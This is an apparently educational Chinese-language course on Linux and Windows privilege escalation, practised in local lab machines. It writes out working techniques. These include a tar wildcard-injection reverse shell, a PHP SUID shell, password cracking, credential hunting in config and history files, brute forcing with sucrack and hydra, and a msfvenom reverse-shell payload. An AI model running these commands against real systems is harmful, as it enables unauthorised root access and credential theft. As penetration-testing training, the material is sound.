curl https://labfile.oss.aliyuncs.com/courses/2650/init_Wildcard_Injection.sh > ~/init_Wildcard_Injection.sh;chmod +x ~/init_Wildcard_Injection.sh;sudo ./init_Wildcard_Injection.sh

圖片描述

如上圖所示,實驗環境初始化完成后,我們切換到了 tomcat-syl 用戶(用于模擬攻擊者獲取的初始 shell),接下來需要通過利用 tar 通配符注入漏洞提權到 root 權限。

首先使用如下命令查看 crontab 中有哪些定時任務:

cat /etc/crontab;

圖片描述

可以看到上圖紅框中,管理員配置了這樣一條定時任務:每分鐘執行一次,將 /var/www/html/ 文件夾中的所有內容打包到 /var/backups/html.tgz 進行備份。

接下來我們查看 /var/www/html 目錄下有哪些文件:

圖片描述

想利用 tar 進行通配符注入,我們需要在 /var/www/html/ 文件夾下創建以下 3 個文件:

創建 shell.sh,內容為使用 nc 反彈 shell 到本地 4444 端口:

cd /var/www/html/
echo 'nc 127.0.0.1 4444 -e /bin/bash' > shell.sh

創建名為--checkpoint-action=exec=sh shell.sh的文件,因為文件名中有空格,所以需要使用引號報告:

echo "" > "--checkpoint-action=exec=sh shell.sh"

最后創建一個名為 --checkpoint=1 的文件:

echo "" > --checkpoint=1

創建成功后,可以看到 /var/www/html/ 文件夾下有這樣幾個文件:

圖片描述

當定時任務中的如下命令被執行時:

tar -zcf /var/backups/html.tgz /var/www/html/*

實際上等同于執行:

tar -zcf /var/backups/html.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh index.html index.nginx-debian.html

參數解釋:

  • —-checkpoint—-chekpoint-action參數通常一起使用,前者為設置檢查點,后者為到達檢查點時要執行的操作。

  • --checkpoint-action=exec=sh shell.sh 則表示達到檢查點時執行 shell.sh 腳本文件。

也就是說,每當定時任務被執行時,tar 都會調用 shell.sh 腳本并執行,而 shell.sh 腳本會將 /bin/bash 反彈到 127.0.0.1 的 4444 端口。

我們在當前 shell 中使用 nc 監聽本地 4444 端口,命令如下:

nc -lnvp 4444

圖片描述

稍微等待一會,當定時任務被執行時,我們就可以接收到被反彈回來的 shell,并且是 root 權限:

圖片描述

至此,我們成功提權到 root 用戶。

不過關于 tar + crontab 提權存在兩個限制條件,這里也給各位同學詳細說明:

  • 限制一:打包目錄 html 需要「其他用戶」擁有寫(w)權限

因為必須要有寫入權限,我們才能在該目錄創建 shell.sh 和其他兩個文件:

圖片描述

  • 限制二:crontab 中的 tar 命令必須不包含絕對路徑,例如下面這種命令,通配符注入就會失敗:

* * ? ? * * * ? root ?  tar -zcf /var/backups/html.tgz **/var/www/html/***

原因是當包含絕對路徑時,通配符注入實際上執行的命令變成了:

tar -zcf /var/backups/html.tgz /var/www/html/--checkpoint=1 /var/www/html/--checkpoint-action=exec=sh shell.sh /var/www/html/shell.sh /var/www/html/index.html /var/www/html/index.nginx-debian.html

這種情況下/var/www/html/--checkpoint=1/var/www/html/--checkpoint-action=exec=sh shell.sh就不會被 shell 解釋為 tar 命令參數,所以無法注入成功。

實驗總結:

在本節實驗中,我們學習了什么是通配符注入,并介紹 Linux 系統上最常見的 tar 通配符注入的原理,最后通過實驗在實戰中通過 crontab 配合 tar 命令將 Linux shell 成功提權到 root 權限。

跳板用戶提權

知識點

  • 什么是跳板用戶?

  • 什么情況下需要使用跳板用戶?

  • 如何通過跳板用戶提權?

實驗開始

前面幾章為大家介紹了幾種直接提權到 root 權限的方法,但有時候會遇到嘗試了所有的方法,也無法直接提權到 root 權限,此時可以考慮先提權到其他用戶,再通過其他用戶的權限提權到 root 權限,而這個中間用戶就被我稱為——跳板用戶。

在本章實驗中,我們會先從 www-data 提權到跳板用戶 alice ,再從 alice 提權到 root 權限。

首先執行如下命令以初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_100_switchuser.sh > ~/init_100_switchuser.sh;chmod +x ~/init_100_switchuser.sh;sudo ./init_100_switchuser.sh

圖片描述

如上圖所示,實驗環境初始化完成,此時我們切換到了 www-data 用戶——用于模擬通過 Web 漏洞反彈回的初始 shell。

我們首先嘗試一下 SUID 提權,在所有 www-data 用戶有權訪問的目錄下搜索帶 s 權限的可執行文件,使用到的命令如下:

find / -user root -perm -4000 -print 2>/dev/null

搜索結果如下圖所示:

圖片描述

經過分析發現沒有可用于 SUID 提權的可執行文件。

查看一下 home 目錄下有哪些文件夾:

ls -alh /home

圖片描述

發現 /home 目錄下有一個 alice 目錄,推測有一個 alice 用戶,并且是可以登錄系統的,可以通過查看/etc/passwd文件驗證。

但是 www-data 沒有權限訪問alice目錄,所以我們需要先試試能夠提權到 alice 用戶。

圖片描述

經過一番嘗試,我們發現/etc/passwd文件中有 alice 用戶的密碼 hash:

cat /etc/passwd

圖片描述

根據之前學習的方法,使用 john 來破解。新打開一個終端,使用如下命令:

john /etc/passwd

圖片描述

破解得到密碼為 beautiful,使用 su 命令登錄 alice 用戶:

圖片描述

現在我們成功從 www-data 用戶提權到了 alice 用戶,再嘗試一次 SUID 提權:

find / -user root -perm -4000 -print 2>/dev/null

圖片描述

找到了/var/bin/php可執行文件,該文件是可以用來 SUID 提權的,方法如下:

/var/bin/php -r "pcntl_exec('/bin/sh', ['-p']);"

圖片描述

如上圖所示,我們成功提權到 root 權限。

  • 關于哪些可執行文件可以用來 SUID 提權,可以通過以下鏈接進行查詢:

https://github.com/iSecurity-Club/Pentest-Methodologies/tree/master/PostExploit/LinuxPE/SUID/Summary

大家思考一下:為什么 alice 用戶能夠查找到具有 s 權限的 php 可執行文件,而 www-data 用戶找不到呢?

其實答案就是目錄權限的區別,讓我們查看一下 /var/bin 目錄權限:

ls -lh /var

圖片描述

可以看到,/var/bin目錄的所有者和所有組均為 alice,其他用戶并沒有讀/寫/執行權限。

所以當我們提權到其他用戶時,有時就能解鎖一些之前無法訪問的文件或目錄,而這恰好就可能被利用來進行提權。

實驗總結

在本節實驗中,我們學習了當不能直接提權至 root 權限時,如何通過先提權到其他普通用戶,再通過該用戶提權到 root 用戶的方法。

本章實驗中我們只是選了一個簡單例子作為拋磚引玉,實戰中的情況可能會更復雜,不過請記住:核心永遠是圍繞在不同用戶的權限差異上。

查找敏感文件提權

知識點

  • 重點關注的 Web 配置文件

  • 通過 Web 配置文件提權方法

  • 重點關注的用戶相關的配置文件

  • 通過用戶相關配置文件提權方法

實驗開始

假設我們已經通過 Web 漏洞反彈回一個 shell,是 www-data 用戶的權限。

通過嘗試之前幾個實驗中的方法都未成功,那么我們可以嘗試在 Linux 上是否能尋找到一些認證信息,并利用該認證信息進行提權。

在本章中,我們會通過兩個實驗,分別從 Web 服務配置文件用戶配置文件入手,收集信息并完成提權。

Web 服務配置文件

有時候通過查找服務器上的 Web 配置文件,可以發現數據庫的連接賬戶和密碼。登錄數據庫后,通過收集數據庫中存儲的用戶密碼,并且管理員如果存在密碼復用的情況,即可完成提權,下面我們通過一個具體的實驗來理解一下。

首先執行如下命令以初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_web.sh > ~/init_90_web.sh;chmod +x ~/init_90_web.sh;sudo ./init_90_web.sh

圖片描述

如上圖所示,實驗環境初始化完成,此時我們切換到了 www-data 用戶——用于模擬通過 Web 漏洞反彈回的初始 shell。

通常情況下,Linux Web 服務存放的路勁為 /var/www 目錄,在該路徑下我們重點關注以下文件:

  • database.php

  • user.php

  • *.config

  • config.php

我們可以通過以下命令來搜索:

find /var/www -type f \( -iname "user.php" -o -iname "database.php" -o -iname "config.php" -o -iname "*.config" \) 2>/dev/null

當然不僅限于以上文件,并且如果目標主機采用了 CMS,我們可以通過谷歌查詢該 CMS 的默認數據庫連接文件的存放位置

在實驗主機上,查看 /var/www 目錄的文件:

 ls -lh /var/www

圖片描述

我們發現主機使用了 WordPress 內容管理系統,通過谷歌查詢得知,WordPress 的數據庫配置信息存放在$root/wp-config.php,查看一下:

more /var/www/wordpress/wp-config.php

圖片描述

如上圖所示,成功找到了 MySQL 的 root 賬戶和密碼:

root:cD8M2M8fMiDHu4m1

考慮到管理員可能存在密碼復用的情況,嘗試使用密碼 cD8M2M8fMiDHu4m1 登錄系統 root 賬戶:

圖片描述

但是很可惜,并沒有登錄成功。

接下來我們登錄 mysql 數據庫,看看能否在數據庫中發現一些信息:

mysql -u root -p -h 127.0.0.1

圖片描述

然后允許一下命令,在 MySQL 數據庫中收集信息:

show databases;
use ROB
show tables;
select * from rob_user;

圖片描述

如上圖所示,收集到兩個用戶、密碼信息:

root:CMPc5MoAGf
alice:psoj9apv4u

我們再嘗試一下,新打開一個終端,使用CMPc5MoAGf 登錄 root 用戶:

圖片描述

成功登錄 root 用戶。

至此,我們學習了通過尋找 Web 服務的配置文件來提權的一種方法,實際上并不一定是找 Web 服務的配置文件,其核心是通過尋找服務器上的敏感認證信息并結合密碼復用進行提權的一種思想。

還有一種關于 mysql 的提權方法——MySQL UDF 提權,該方法在 Windows 和 Linux 上都可用。

UDF 是 MySQL 的一個共享庫,通過 UDF 創建能夠執行系統命令的函數 sys_exec、sys_eval ,可以 UDF 執行系統命令來提權,但要利用 MySQL UDF 有兩個條件:

  1. 獲取到 mysql root 賬戶密碼

  2. MySQL 在系統上以 root 權限運行,沒有被降權(實際上這種情況比較少)

由于藍橋實驗環境的限制,無法設計相關實驗,有興趣的同學可以百度、谷歌研究一下。

用戶相關配置文件

我們主要關注下面兩個用戶相關的配置文件;

  • ~/.bash_profile

用于配置環境變量和啟動程序,當用戶登錄(login)時,該文件會被執行,在某些 Linux 發行版本中,該文件是默認不創建的。

  • ~/.bash_history

每個用戶的主目錄下都定義了一個.bash_history文件,用于記錄用戶 shell 歷史命令,默認記錄最近輸入的 1000 條命令,我們也許可以從中收集到一些敏感信息(部分 Linux 發行版本默認關閉了該共功能),在某些 Linux 發行版本中,默認關閉了該功能,可以嘗試用 history命令查看。

首先執行如下命令以初始化實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_90_learning_2.sh > ~/init_90_learning_2.sh;chmod +x ~/init_90_learning_2.sh;sudo ./init_90_learning_2.sh

圖片描述

如上圖所示,實驗環境初始化完成后,我們切換到了 tomcat-syl 用戶。

首先查看 ~/.bash_profile 文件,看是否能收集到一下敏感信息:

cat ~/.bash_profile

圖片描述

但是很可惜,看來用戶 tomcat-syl 并沒有使用~/.bash_profile文件。

再查看一下 ~/.bash_history文件:

cat ~/.bash_history

圖片描述

發現這一行歷史命令記錄:

echo tomcat-syl:09FMWNFS7n|chpasswd

這條命令的含義是:修改 tomcat-syl 用戶的密碼為 09FMWNFS7n,我們嘗試一下能否用該密碼執行 sudo :

sudo whoami

圖片描述

如上圖所示,密碼正確,并且能夠執行 sudo 權限。接下來使用之前學過的知識獲取一個 root 權限的 shell:

sudo /bin/bash -p

圖片描述

實驗總結

在本節實驗中,我們學習了重點查找服務器上哪些 Web 相關的配置文件和用戶相關的配置文件,隨后在實驗中學習了通過以上兩者進行提權的方法。

本章的核心掛念是,在 Linux 主機上查找一些可能存放了敏感信息的文件,并不僅限于 Web 配置文件和用戶配置文件, 還有一些重要文件也需要我們關注,例如:

  • 備份文件,例如 SSH 秘鑰、登錄憑證等,可通過如下命令查找:

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null
  • Sqlite DB 文件

本章節篇幅有限,不可能列舉所有的敏感文件,但只要我們掌握通過敏感文件收集信息的核心思想,便能一法通時萬法通了。

暴力破解提權

知識點

  • sucrack 工具的安裝和使用

  • 通過 hydra 工具爆破 SSH 協議

實驗開始

在前面的實驗中,我們已經為大家介紹了多種 Linux 提權方法,這些方法已經覆蓋到了實戰中的絕大部分場景,但如果你遇到前面所有的方法都無法成功提權時,別忘了還有一種最原始但有用的方法可以嘗試——暴力破解

通常來說,可以通過兩種途徑暴力破解 root 用戶的密碼:

  1. 通過 su 命令爆破 root 密碼

  2. 通過 SSH 協議爆破 root 密碼

下面我依次為大家介紹這兩種方法。

通過 su 命令暴破 root 密碼

Linux su 命令用于切換為其他使用者身份,除 root 外,其他用戶使用時需要輸入將要切換的「目標用戶」的密碼。

su 命令暴力破解使用的工具是 sucrack

sucrack 介紹和安裝

sucrack 是一個多線程的Linux工具,用于通過 su 爆破本地用戶密碼。

因為 su 命令需要從 TTY shell 獲取用戶輸入,因此不能只用一個簡單的 shell 腳本來完成爆破,sucrack 是采用 c 語言編寫的工具,并且支持多線程,爆破效率非常高。

sucrakck 官方地址如下:

https://leidecker.info/projects/sucrack.shtml

圖片描述

在實戰環境中,靶機可能是無法連接外網的,因此我們可以使用如下兩種方法安裝 sucrack:

  1. 下載sucrack源碼并上傳到靶機上,再編譯運行。

  2. 下載sucrack源碼,在本地編譯好之后再上傳到靶機運行。

本課程旨在為大家演示 sucrack 的用法,因此為了方便我們直接使用 apt 安裝 sucrack :

 sudo apt install sucrack

圖片描述

如上圖所示,安裝成功。

sucrack 使用方法

sucrack 的用法非常簡單,最基礎的命令如下:

sucrack -w 20 wordlists.txt

參數解釋:

  • -w 指定線程數

  • wordlists.txt 爆破使用的字典

sucrack 默認爆破 root 用戶,你也可以使用 -u 指定要爆破的用戶:

sucrack -u myuser -w 20 wordlists.txt

在嘗試爆破之前,我們先執行如下命令來部署實驗環境:

curl https://labfile.oss.aliyuncs.com/courses/2650/init_forcebrute.sh > ~/init_forcebrute.sh;chmod +x ~/init_forcebrute.sh;sudo ./init_forcebrute.sh

圖片描述

如上圖所示,此時我們已經切換為了普通用戶 www-data ,接下來我們將在實驗中,通過暴力破解的方法獲取 root 用戶的密碼。

我預先準備了一份密碼字典用于演示,存放在 /tmp/common-wordlists.txt,同學們也可以使用自己的字典。

圖片描述

使用如下命令嘗試爆破 root 密碼,線程數保守一點設定為 20:

sucrack -w 20 /tmp/common-wordlists.txt

開始爆破之后,按鍵盤任意鍵刷新顯示進度:

圖片描述

等待一會,成功破解出 root 用戶的密碼為 ly:

圖片描述

然后使用 su root 切換為 root 用戶:

圖片描述

sucrack 功能是非常簡單強大的,你學會了嗎?

通過 SSH 爆破 root 密碼

SSH 服務介紹

SSH 服務的配置文件有為兩個,分別是:

  • /etc/ssh/ssh_config : 客戶端的配置文件

  • /etc/ssh/sshd_config : 服務端的配置文件

僅當 /etc/ssh/sshd_configPermitRootLogin 設置為 yes,root 用戶才能登錄 ssh:

圖片描述

因此,在通過 ssh 爆破 root 用戶密碼之前,我們需要先使用如下命令來查詢靶機是否允許 root 用戶通過 ssh 登錄:

cat /etc/ssh/sshd_config |grep -i permitrootlogin

圖片描述

當 PermitRootLogin 被設置為 yes 時,才用嘗試 SSH 暴力破解,否則就沒必要在嘗試了。

hydra 介紹和使用方法

SSH 協議爆破使用到的工具是 hydra,hydra 是一款非常著名的爆破工具,除了 SSH 協議以外,hydra 還支持眾多其他協議例如 RDP、SMB、HTTP、MySQL 等,由于篇幅有限,具體可以參考下面這篇文章:

https://github.com/iSecurity-Club/Pentest-Methodologies/blob/master/Password%20Attacks/README.md

hydra 在 Kali Linux 上默認安裝,實驗主機的 ubuntu 環境也已經提前安裝好,爆破 SSH 協議的語法如下:

hydra -l root -P passwords.txt -t 4 -V <IP> ssh

參數解釋:

  • -l : 指定用戶名

  • -P : 指定爆破字典

  • -t : 指定爆破線程

  • -V : 查看破解詳情、進度

下面我們嘗試爆破 root 用戶的密碼,字典仍然使用 /tmp/common-wordlists.txt

hydra -l root -P /tmp/common-wordlists.txt -t 64 -V 127.0.0.1 ssh

圖片描述

如上圖所示,成功爆破出 root 用戶的密碼。

注意:如果你使用的 hydra 是 v9.0 之前的版本,在爆破 ssh 協議時很可能會出現誤報,請先升級后再使用(實驗環境是 v9.2)。

實驗總結

在本節實驗中,我們學習了通過兩種途徑爆破 SSH 服務的方法—— suSSH,并且分別介紹了對應的兩種破解工具的使用。

自動化輔助工具提權

知識點

  • LinEnum 輔助工具的使用

  • linux-exploit-suggester 輔助工具的使用

實驗開始

在前面章節中,我們已經學習了多種 Linux 提權的方法,這些提權方法已經覆蓋了實戰中的絕大部分場景。

如果你正在為了備考 OSCP 認證而努力,那么恭喜你,只要你把前面幾種方法都理解并掌握,考試中關于 Linux 提權這部分是絕對可以得心應手的。

除此之外,還有一些 Linux 輔助工具可供使用,這些輔助工具通常是 shell 腳本。需要明確的是,這些輔助工具不會嘗試漏洞利用,僅僅只是幫助我們快速枚舉系統信息,使用它們的目的是節省時間,所以你必須先理解提權的方法和原理。

Github 上有很多相關的開源項目,在本章節實驗中我會推薦兩個比較有代表性的:

  • LinEnum

  • linux-exploit-suggester

和內核漏洞提權那章相同,本章實驗我們也需要使用到 Metasploitable2 虛擬靶機,使用如下命令開啟靶機:

sudo virsh start Metasploitable2

圖片描述

Metasploitable2 靶機的信息如下:

  • IP:192.168.122.102

  • 用戶名: msfadmin

  • 密碼:msfadmin

Metasploitable2 是 kvm 搭建的靶機,所以啟動會比較慢。稍微等待 1~2 分鐘,直到可以 ping 通192.168.122.102為止:

圖片描述

使用 ssh 連接到靶機,密碼是 msfadmin,命令如下:

ssh msfadmin@192.168.122.102

圖片描述

如上圖所示,成功登錄Metasploitable2,權限是普通用戶 msfadmin——用于模擬滲透測試獲取到的初始 shell。

LinEnum 工具


LinEnum 介紹

LinEnum 是一個 Linux 主機本地信息枚舉的 shell 腳本,它有超過 65 項安全檢查功能,比如查詢版本信息、內核信息、SUID/GUID 文件、文件權限、sudo 權限等,其執行的檢查項摘要如下:

  • 內核和發行版本的詳細信息

  • 系統信息、主機名、網絡信息

  • 用戶信息、用戶列表、用戶組

  • 敏感目錄、文件的訪問權限

  • 環境變量配置詳情

  • CronJobs 配置詳情

  • 運行服務、服務權限

  • 部分應用的版本信息

更為詳細的檢查項說明,可以查閱項目的[README.md](https://github.com/rebootuser/LinEnum)文檔。

項目地址

https://github.com/rebootuser/LinEnum

使用方法

因為大多數情況下靶機是沒有連接外網的權限的,所以都是先下載到攻擊機(例如 Kali Linux),然后再搭建 HTTP 服務上傳到靶機。

在云主機上使用 wget 工具下載并存儲到 /tmp/exploit.c,命令如下(不要在 Metasploitable2 的 ssh 終端中下載,會報 SSL 錯誤):

# 如果遇到拒絕連接錯誤,多嘗試幾次即可
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

圖片描述

接下來進入/tmp目錄,使用 Python3 快速搭建 HTTP 服務,端口為 8000:

cd /tmp
python3 -m http.server 8000

圖片描述

使用 ip addr 命令查詢到主機 IP 地址為 192.168.122.1

圖片描述

在 Metasploitable2 終端中使用 wget 工具下載 LinEnum.sh并保存到/tmp:

wget 192.168.122.1:8000/LinEnum.sh -P /tmp

圖片描述

賦予LinEnum.sh執行權限:

chmod +x LinEnum.sh

接下來就可以執行LinEnum.sh進行檢查,由于LinEnum.sh執行速度非常快,所以可以搭配 more 命令便于閱讀,使用空格進行翻頁:

./LinEnum.sh |more

圖片描述

圖片描述

自動快速收集系統信息,便于我們閱讀分析,重點關注黃色字體的信息。

  • 發現具有/root目錄的訪問權限:

圖片描述

  • 發現軟件版本及弱口令:

圖片描述

如上圖所示,發現 MySQL 的 root 用戶無需密碼即可登錄,測試一下發現登陸成功:

圖片描述

  • 發現 htpasswd文件:

圖片描述

  • 發現可利用的 SUID 文件nmap

圖片描述

嘗試利用 nmap 提權,并且提權成功:

圖片描述

  • 發現可查看 root 用戶的 .bash_history文件:

圖片描述

有沒有覺得很方便?合理的利用 LinEnum.sh腳本,可以為我們節約大量的時間。

linux-exploit-suggester 工具


linux-exploit-suggester 介紹

linux-exploit-suggester 是一款根據系統發行版本號和內核版本號自動查找相應內核提權漏洞的工具。

LinEnum 功能已經非常強大,但它缺少對內核漏洞的檢查,而linux-exploit-suggester剛好能彌補這一點。

項目地址

https://github.com/mzet-/linux-exploit-suggester

使用方法

和之前一樣,下載linux-exploit-suggester.sh 到云主機:

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O /tmp/linux-exploit-suggester.sh

并上傳到靶機Metasploitable2:

wget 192.168.122.1:8000/linux-exploit-suggester.sh -P /tmp

圖片描述

添加執行權限并執行腳本:

chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

不幸的是,提示 bash 版本過低不支持運行該腳本:

圖片描述

大多數時候是可以直接運行的,但是如果偶爾遇到這種情況,可以采用手動錄入內核信息的方式。

在 Metasploitable2 上運行uname -a查詢主機信息,并將輸出結果復制下來:

圖片描述

然后回到云主機上運行./linux-exploit-suggester.sh腳本:

  • -u : 指定uname -a 獲取的信息

  • --kernelspace-only : 僅顯示內核漏洞

./linux-exploit-suggester.sh -u "Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux"

圖片描述

下圖是我們得到的分析結果:

圖片描述

每一條漏洞都包含 Exposure (影響概率)和 Download URL( EXP 下載鏈接),其中 Exposure 分級如下:

  • Highly probable - 被評估的內核很有可能受到影響,而且很有可能 PoC 漏洞不需要任何重大修改就能正常運行。

  • Probable - 有可能會成功,但很有可能需要定制 EXP 漏洞來適應你的目標。

  • Less probable - 需要額外的手動分析來驗證內核是否受到影響。

  • Unprobable - 內核受影響的可能性極低。

一般只用嘗試Highly probablerobable定級的EXP即可。

但需要注意的是,linux-exploit-suggester 的結果并不一定非常準確,如果結果中的 CVE 均無法利用,你仍然需要手動去 [Exploit-db.com](http://exploit-db.com) 搜索內核漏洞再來嘗試。

實驗總結

在本節實驗中,我們學習了 LinEnum 和 linux-exploit-suggester 提權輔助腳本工具的使用方法,其實輔助工具還有很多,例如以下兩個:

  • linPEAS

  • BeRoot

如果你有興趣,可以下載嘗試一下,不過工具永遠只能起到輔助作用,最重要的還是理解提權的方法和思想。

Windows提權

概述

本文章將聚焦 Windows 系統中的 Privilege Escalation(權限提升)技術。你將學習到:

  • Windows 中基礎用戶權限(user privileges)的工作原理

  • 多種提升用戶權限的方法

  • 這些方法的作用原因與實現方式

  • 可用于識別潛在權限提升路徑(escalation paths)的工具

    本課程致力于講解實際場景中常見的權限提升方法,因此不包含冷門方法(obscure methods)。 同時,課程僅針對本地權限提升(local privilege escalation),不涉及通過 Active Directory 實現的權限提升。

前置要求

  • 建議具備 Windows 系統的基礎認知,不過課程也會涵蓋部分基礎內容

  • 課程默認你已在 Windows 系統上獲得一個可正常使用的低權限 shell(lowprivileged shell),不涉及如何獲取該 shell(本課程屬于后滲透測試(post-exploitation)課程)

示例命令格式

  • Linux(Kali)命令:# 命令內容

  • Windows 命令提示符(command prompt)命令:> 命令內容

  • Windows PowerShell 命令:PS> 命令內容

免責聲明

本課程的設計參考了 OSCP 實驗環境(OSCP labs)和考試場景,但涵蓋的權限提升技術范圍遠超 OSCP 學員所需掌握的內容。 需注意,權限提升通常極為復雜,且新的技術會不斷涌現,因此本課程并非 “完整” 的權限提升技術指南,無法涵蓋所有方法。 在合適的情況下,作者會更新課程材料,加入被認為有價值的新技術。

致謝

  • Sagi Shahar:創建了最初的 Windows 配置腳本(Windows setup script)和權限提升工作坊(privilege escalation workshop),并授權本課程使用相關內容

  • Showeet.com:授權本課程使用其演示模板(presentation template)

  • Microsoft:提供免費的 Windows 10 虛擬機(VM)

實驗環境搭建

Windows 10

本課程基于 Windows 10 設計:

  • 若你已有 Windows 10 副本,可直接使用

  • 若沒有,可從 Microsoft 官網下載免費(有限制)的 Windows 10 虛擬機(VM):https://developer.microsoft.com/en-us/microsoftedge/tools/vms/

環境配置

tools.zip壓縮包中包含一個配置腳本(setup script),該腳本專為 Windows 10 編寫,未在其他 Windows 版本上測試。 若你希望親自實踐課程中的權限提升操作,建議安裝 Windows 10 并運行此配置腳本。 該腳本也可從以下鏈接獲取:https://github.com/Tib3rius/WindowsPrivEsc-Setup

初始配置

安裝完成后,使用本地管理員賬戶(local administrator account)登錄,用戶名 “IEUser”,密碼 “Passw0rd!”。 以管理員身份打開 PowerShell,運行以下命令啟用 SMBv1:

powershell

PS> Enable-WindowsOptionalFeature -Online -FeatureName "SMB1Protocol-Client" -All

運行后需重啟虛擬機(VM)。

SMB 服務器配置

在 Kali 中,將tools.zip壓縮包解壓到某個目錄,進入該目錄,運行以下任一命令搭建 SMB 服務器:

bash

# 方法1
python3 /usr/share/doc/python3-impacket/examples/smbserver.py tools .
# 方法2
python /usr/share/doc/python-impacket/examples/smbserver.py tools .

  • 從 Kali 向 Windows 復制文件:

    cmd

    > copy \\192.168.1.11\tools\file.ext file.ext
  • 從 Windows 向 Kali 復制文件:

    cmd

    > copy file.ext \\192.168.1.11\tools\file.ext

運行配置腳本

setup.bat腳本復制到 Windows 虛擬機:

cmd

> copy \\192.168.1.11\tools\setup.bat setup.bat

以管理員身份打開命令提示符(command prompt),運行setup.bat腳本:

cmd

> .\setup.bat

配置腳本后續操作

setup.bat腳本運行完成后,重啟虛擬機。 新創建的 “admin” 賬戶會自動登錄。你也可以注銷當前賬戶,使用 “user” 賬戶登錄,密碼為 “password321”。 系統中會創建可寫目錄C:\PrivEsc,用于復制工具或可執行文件(executables),課程演示也會使用該目錄。

Windows 中的 Privilege Escalation(權限提升)

基本概念

在 Windows 中進行權限提升的最終目標,是獲取以 Administrator 或 SYSTEM user 身份運行的 shell。 權限提升可能很簡單(例如利用 kernel exploit),也可能需要對已入侵系統進行大量偵察(reconnaissance)。 在很多情況下,權限提升并非依賴單一配置錯誤(misconfiguration),而是需要結合多個配置錯誤來實現。

所有權限提升本質上都是訪問控制違規(access control violations)的案例。 訪問控制(access control)與用戶權限(user permissions)緊密相關。 在研究 Windows 權限提升時,理解 Windows 如何處理權限(permissions)至關重要。

理解 Windows 中的權限(Permissions)

用戶賬戶(User Accounts)

用戶賬戶用于登錄 Windows 系統,可將其視為與唯一身份綁定的一組設置 / 偏好(settings /preferences)。 系統安裝時會默認創建本地 “Administrator” 賬戶。 根據 Windows 版本不同,可能還會存在其他默認用戶賬戶(如 Guest)。

服務賬戶(Service Accounts)

服務賬戶(顧名思義)用于在 Windows 中運行服務(services)。 服務賬戶無法用于登錄 Windows 系統。 SYSTEM 賬戶是默認服務賬戶之一,擁有 Windows 本地賬戶中最高的權限。 其他默認服務賬戶包括 NETWORK SERVICE 和 LOCAL SERVICE。

組(Groups)

  • 用戶賬戶可屬于多個組,一個組也可包含多個用戶

  • 組便于對資源進行訪問控制(access control)

  • 常規組(如 Administrators、Users)的成員列表是固定的

  • 偽組(如 “Authenticated Users”)的成員列表是動態的,會根據特定交互變化

資源(Resources)

在 Windows 中,資源(也稱為對象(objects))包含多種類型:

  • 文件 / 目錄(Files / Directories)

  • 注冊表項(Registry Entries)

  • 服務(Services)

用戶和 / 或組能否對某資源執行特定操作,取決于該資源的訪問控制列表(ACL)。

ACL 與 ACE

Windows 中,資源的訪問權限由該資源的訪問控制列表(ACL,Access Control List)控制。 每個 ACL 由 0 個或多個訪問控制項(ACE,Access Control Entry)組成。 每個 ACE 定義了主體(principal,如用戶、組)與特定訪問權限(access right)之間的關系。

示例:文件 ACL/ACE

  • 名稱(Name):CATemp\ACL Test.txt

  • 所有者(Owner):admin (MSEDGEWIN10\admin)

  • 可操作選項:Change(修改)、Permissions(權限)、Auditing(審計)、Effective Access(有效訪問)

備注:如需更多信息,雙擊某個權限項(permission entry);如需修改權限項,選中該條目并點擊 “Edit”(若可用)。

權限項(Permission entries):

  • 類型(Type):Deny,主體(Principal):user (MSEDGEWIN10\user),訪問權限(Access):無(None)

  • 類型(Type):Allow,主體(Principal):Administrators (MSEDGEWIN10\Administrators),訪問權限(Access):Full control(完全控制)

  • 類型(Type):Allow,主體(Principal):SYSTEM,訪問權限(Access):Full control(完全控制)

  • 類型(Type):Allow,主體(Principal):Users (MSEDGEWIN10\Users),訪問權限(Access):Read & execute(讀取和執行)

  • 類型(Type):Allow,主體(Principal):Authenticated Users,訪問權限(Access):Modify(修改)

其他選項:Add(添加)、Remove(刪除)、View(查看)、Disable inheritance(禁用繼承)

生成 Administrator Shell

使用 msfvenom

若你能以管理員權限執行命令,可使用 msfvenom 生成反向 shell(reverse shell):

bash

# 生成64位Windows反向shell可執行文件,LHOST為KaliIP,LPORT為監聽端口
# msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f exe -o reverse.exe

可使用 netcat 或 Metasploit 的multi/handler模塊捕獲該反向 shell。

使用 RDP

若 RDP 可用(或可啟用 RDP),可將低權限用戶添加到管理員組(administrators group),然后通過圖形界面(GUI)打開管理員命令提示符:

cmd

> net localgroup administrators <用戶名> /add

從 Admin 提升到 SYSTEM

要從 Admin 用戶提升到完整的 SYSTEM 權限,可使用 Windows Sysinternals 的 PsExec 工具(下載鏈接:PsExec - Sysinternals | Microsoft Learn)。 課程工具壓縮包(tools ZIP archive)中已包含該工具,運行以下命令:

cmd

> .\PsExec64.exe -accepteula -i -s C:\PrivEsc\reverse.exe

權限提升工具(Privilege Escalation Tools)

為何使用工具?

工具可自動化偵察(reconnaissance)過程,幫助識別潛在的權限提升路徑。 雖然理解工具的工作原理至關重要,但在考試等時間有限的場景中,工具的作用不可替代。 本課程主要使用 winPEAS 和 Seatbelt,你也可以嘗試其他工具,選擇最適合自己的工具。

PowerUp 與 SharpUp

PowerUp 和 SharpUp 是兩款功能相似的工具,用于檢測特定的權限提升配置錯誤(privilege escalation misconfigurations)。

  • PowerUp: 下載鏈接:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1

  • SharpUp: 源碼鏈接:GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality. 預編譯版本(Pre-Compiled):Ghostpack-CompiledBinaries/SharpUp.exe at master · r3motecontrol/Ghostpack-CompiledBinaries · GitHub

運行 PowerUp

